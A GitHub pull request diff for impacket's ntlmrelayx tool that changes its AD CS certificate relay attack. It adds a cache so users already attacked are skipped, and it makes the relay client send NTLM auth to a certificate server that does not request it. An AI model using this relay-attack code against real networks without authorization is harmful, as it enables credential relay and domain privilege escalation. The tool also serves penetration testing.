Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix when cert server does not request NTLM auth #1

Merged
merged 2 commits into from
Aug 15, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,9 @@
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

PROTOCOL_ATTACK_CLASS = "HTTPAttack"
# cache already attacked clients
ELEVATED = []


class HTTPAttack(ProtocolAttack):
"""
Expand Down Expand Up @@ -62,6 +65,9 @@ def adcs_relay_attack(self):
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 4096)

if self.username in ELEVATED:
print('[*] Skipping user %s since attack was already performed' % self.username)
return
csr = self.generate_csr(key, self.username)
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
print("[*] CSR generated!")
Expand All @@ -77,6 +83,7 @@ def adcs_relay_attack(self):
print("[*] Getting certificate...")

self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
ELEVATED.append(self.username)
response = self.client.getresponse()

if response.status != 200:
Expand Down
5 changes: 4 additions & 1 deletion impacket/examples/ntlmrelayx/clients/httprelayclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,10 @@ def sendNegotiate(self,negotiateMessage):
return False
except (KeyError, TypeError):
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
return False
if self.serverConfig.isADCSAttack:
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
else:
return False

#Negotiate auth
negotiate = base64.b64encode(negotiateMessage).decode("ascii")
Expand Down